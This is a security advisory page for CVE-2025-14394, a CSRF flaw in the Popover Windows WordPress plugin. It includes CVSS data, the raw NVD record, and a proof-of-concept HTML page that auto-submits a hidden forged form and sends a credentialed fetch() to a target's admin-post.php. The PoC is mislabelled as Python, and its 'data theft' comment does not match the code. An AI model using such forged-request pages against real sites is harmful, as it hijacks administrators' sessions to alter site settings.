Security Vulnerability Report
中文
CVE-2025-14394 CVSS 4.3 MEDIUM

CVE-2025-14394

Published: 2025-12-13 16:16:49
Last Modified: 2026-04-15 00:35:42

Description

The Popover Windows plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Popover Windows plugin for WordPress <= 1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-14394 --> <!-- This PoC demonstrates how an attacker can trick a WordPress admin into updating plugin settings --> <!DOCTYPE html> <html> <head> <title>CSRF Attack PoC - CVE-2025-14394</title> </head> <body> <h1>Malicious CSRF Form</h1> <p>This form will automatically submit a forged request to update Popover Windows plugin settings.</p> <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;"> <input type="hidden" name="action" value="update" /> <input type="hidden" name="option_page" value="popover_options" /> <input type="hidden" name="_wpnonce" value="" /> <!-- Nonce is not validated properly --> <!-- Malicious settings --> <input type="hidden" name="popover_width" value="malicious_value" /> <input type="hidden" name="popover_height" value="malicious_value" /> <input type="hidden" name="popover_position" value="attacker_controlled" /> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); </script> <p>If you see this message, the attack was successful.</p> </body> </html> <!-- Alternative: Data theft via img tag or script-based CSRF --> <script> // Fetch-based CSRF attack fetch('http://target-site.com/wp-admin/admin-post.php', { method: 'POST', credentials: 'include', // Include admin cookies headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=update&option_page=popover_options&_wpnonce=&popover_width=malicious' }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14394", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:49.100", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Popover Windows plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 1.2. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/popover-windows/tags/1.2/popoveroptions.php#L98", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c2af263f-960b-4807-bc85-d136136fa30f?source=cve", "source": "[email protected]"}]}}